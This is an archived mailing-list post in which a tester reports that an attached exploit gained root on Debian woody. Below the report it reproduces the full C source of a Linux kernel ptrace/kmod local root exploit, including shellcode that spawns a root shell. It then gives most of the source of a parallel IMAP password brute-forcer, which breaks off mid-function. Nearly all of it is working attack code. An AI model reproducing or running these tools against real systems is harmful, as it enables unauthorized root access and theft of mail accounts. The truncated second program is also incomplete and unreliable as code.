[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

check this.



This exploit work on my Debian woody 3.r1 and get root .
May be  that script is instrument .

Thanks,

--
ADIC Ukraine
Slawa Mukha
Software tester
phone: 380.044.568.50.89
email: vmukha@adic.kiev.ua


/*
 * Linux kernel ptrace/kmod local root exploit
 *
 *
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */
	 
 #include <grp.h>
 #include <stdio.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <paths.h>
 #include <string.h>
 #include <stdlib.h>
 #include <signal.h>
 #include <unistd.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/param.h>
 #include <sys/types.h>
 #include <sys/ptrace.h>
 #include <sys/socket.h>
 #include <linux/user.h>
		 
		 char cliphcode[] =
		  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
		   "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
		    "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
		     "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
		      "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
		      
		      #define CODE_SIZE (sizeof(cliphcode) - 1)
		      
		      pid_t parent = 1;
		      pid_t child = 1;
		      pid_t victim = 1;
		      volatile int gotchild = 0;
		      
		      void fatal(char * msg)
		      {
		       perror(msg);
		        kill(parent, SIGKILL);
			 kill(child, SIGKILL);
			  kill(victim, SIGKILL);
			  }
			  
			  void putcode(unsigned long * dst)
			  {
			   char buf[MAXPATHLEN + CODE_SIZE];
			    unsigned long * src;
			     int i, len;
			     
			      memcpy(buf, cliphcode, CODE_SIZE);
			       len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
			        if (len == -1)
				  fatal("[-] Unable to read /proc/self/exe");
				  
				   len += CODE_SIZE + 1;
				    buf[len] = '\0';
				     
				     src = (unsigned long*) buf;
				      for (i = 0; i < len; i += 4)
				        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
					   fatal("[-] Unable to write shellcode");
					   }
					   
					   void sigchld(int signo)
					   {
					    struct user_regs_struct regs;
					    
					     if (gotchild++ == 0)
					       return;
					        
					        fprintf(stderr, "[+] Signal caught\n");
						
						 if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
						   fatal("[-] Unable to read registers");
						    
						    fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
						     
						     putcode((unsigned long *)regs.eip);
						     
						      fprintf(stderr, "[+] Now wait for suid shell...\n");
						      
						       if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
						         fatal("[-] Unable to detach from victim");
							 
							  exit(0);
							  }
							  
							  void sigalrm(int signo)
							  {
							   errno = ECANCELED;
							    fatal("[-] Fatal error");
							    }
							    
							    void do_child(void)
							    {
							     int err;
							     
							      child = getpid();
							       victim = child + 1;
							       
							        signal(SIGCHLD, sigchld);
								
								 do
								   err = ptrace(PTRACE_ATTACH, victim, 0, 0);
								    while (err == -1 && errno == ESRCH);
								    
								     if (err == -1)
								       fatal("[-] Unable to attach");
								       
								        fprintf(stderr, "[+] Attached to %d\n", victim);
									 while (!gotchild) ;
									  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
									    fatal("[-] Unable to setup syscall trace");
									     fprintf(stderr, "[+] Waiting for signal\n");
									     
									      for(;;);
									      }
									      
									      void do_parent(char * progname)
									      {
									       struct stat st;
									        int err;
										 errno = 0;
										  socket(AF_SECURITY, SOCK_STREAM, 1);
										   do {
										     err = stat(progname, &st);
										      } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
										       
										       if (err == -1)
										         fatal("[-] Unable to stat myself");
											 
											  alarm(0);
											   system(progname);
											   }
											   
											   void prepare(void)
											   {
											    if (geteuid() == 0) {
											      initgroups("root", 0);
											        setgid(0);
												  setuid(0);
												    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
												      fatal("[-] Unable to spawn shell");
												       }
												       }
												       
												       int main(int argc, char ** argv)
												       {
												        prepare();
													 signal(SIGALRM, sigalrm);
													  alarm(10);
													   
													   parent = getpid();
													    child = fork();
													     victim = child + 1;
													      
													      if (child == -1)
													        fatal("[-] Unable to fork");
														
														 if (child == 0)
														   do_child();
														    else
														      do_parent(argv[0]);
														      
														       return 0;
														       }
Tool source:
/*
 * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
 * I had this one running with 30 passwords / second (100 parallel connections)
 * against a single server and it did not even appear in top.
 *
 * Visit us -- your enemies already did.
 * http://www.thc.org - THE HACKERS CHOICE
 *
 * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
 *
 * SSL support for dummies:
 * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
 *
 * Example: (Brute 40 in parallel)
 * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
 */
 #include <sys/time.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <netdb.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <time.h>
 #include <errno.h>
 #include <string.h>
 #include <stdlib.h>
	       
	       struct peer_str
	       {
	         char password[64];
                 char buf[256];
		 int sox;
		 int read;
		 char flags;
		 time_t time;
	        };
			   
			   #define FL_CONNECTED (0x01)
			   #define FL_HEADERREAD (0x02)
			   
			   #define ERREXIT(a...) do { \
			     fprintf(stderr, "%s:%d ", __func__, __LINE__); \
			       fprintf(stderr, a); \
			         exit(-1); \
				 } while (0)
				 
				 static char g_flags;
				 #define FL_FINISHED (0x04) /* wordlist finished */
				 static unsigned short g_port;
				 static unsigned int g_ip;
				 static char *g_login;
				 static unsigned int g_parallel;
				 time_t time_now;
				 static fd_set g_rfds, g_wfds;
				 static unsigned int cracks;
				 static char *g_passwd;
				 static int n_peers;
				 
				 struct peer_str peers[1024];
				   
				 static unsigned int
				 hostname(char *host)
				 {
				   struct hostent *he;
				     int ip;
				     
				       if ( (ip = inet_addr(host)) != -1)
				           return ip;
					     if ( (he = gethostbyname(host)) == NULL)
					         return -1;
						 
						   if (he->h_length != 4)
						       return -1;
						         return *(int *)he->h_addr;
							 }
							 
							 int tcp_socket_connect(unsigned int ip, unsigned short port)
							 {
							   int fd;
							     struct sockaddr_in addr;
							       int i;
							       
							         if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
								     return -1;
								     
								       memset(&addr, 0, sizeof addr);
								         addr.sin_family = PF_INET;
									   addr.sin_addr.s_addr = ip;
									     addr.sin_port = port;
									     
									       if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
									         {
										     close(fd);
										         return -1;
											   }
											     i = i;
											       setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
											         fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
												 
												   return fd;
												   }
												   
												   static void
												   usage(void)
												   {
												     fprintf(stderr, ""
												     "imap-bruter [rlpn]\n"
												     "Options:\n"
												     " -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
												     " -p <port> - Port imapd runs on. [default: 143]\n"
												     " -l <login name> - Login name\n"
												     " -n <parallel> - Number of parallel connections.\n"
												     "Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
												     "");
												       exit(0);
												       }
												       
												       static void
												       do_getopt(int argc, char *argv[])
												       {
												         int c;
													 
													   g_port = 143;
													     g_parallel = 5;
													     
													       while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
													         {
														     switch (c)
														         {
															     case 'r':
															           g_ip = hostname(optarg);
																         break;
																	     case 'l':
																	           g_login = strdup(optarg);
																		         break;
																			     case 'p':
																			           g_port = atoi(optarg);
																				         break;
																					     case 'n':
																					           g_parallel = atoi(optarg);
																						         break;
																							     default:
																							           usage();
																								         break;
																									     }
																									       }
																									       
																									         if (g_ip == -1)
																										   {
																										       fprintf(stderr, "Unknown host!\n");
																										           usage();
																											     }
																											       if (!g_login)
																											           usage();
																												     if (g_parallel <= 0)
																												         usage();
																													 }
																													 
																													 static void
																													 peer_clear(struct peer_str *p)
																													 {
																													   if (p->sox >= 0)
																													       close(p->sox);
																													         p->sox = -1;
																														   p->read = 0;
																														     p->flags = 0;
																														       /* Keep 'password' as it has not yet been processed */
																														         n_peers--;
																															 }
																															 
																															 static int
																															 do_readpwd(struct peer_str *p)
																															 {
																															   char *ptr;
																															   
																															     if (g_flags & FL_FINISHED)
																															         return -1;
																																   cracks++;
																																     memset(p->password, 0, sizeof p->password);
																																       if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
																																           return -1;
																																	   
																																	     g_passwd = p->password;
																																	       ptr = strchr(p->password, '\n');
																																	         if (ptr)
																																		     *ptr = '\0';
																																		     
																																		       return 0;
																																		       }
																																		       
																																		       /*
																																		        * Socket ready for reading. Read line.
																																			 */
																																			 void
																																			 do_read(struct peer_str *p)
																																			 {
																																			   ssize_t n;
																																			     char *ptr;
																																			       char buf[1024];
																																			       
																																			         n = read(p->sox, p->buf + p->read, sizeof p->buf - p->r

Reply to: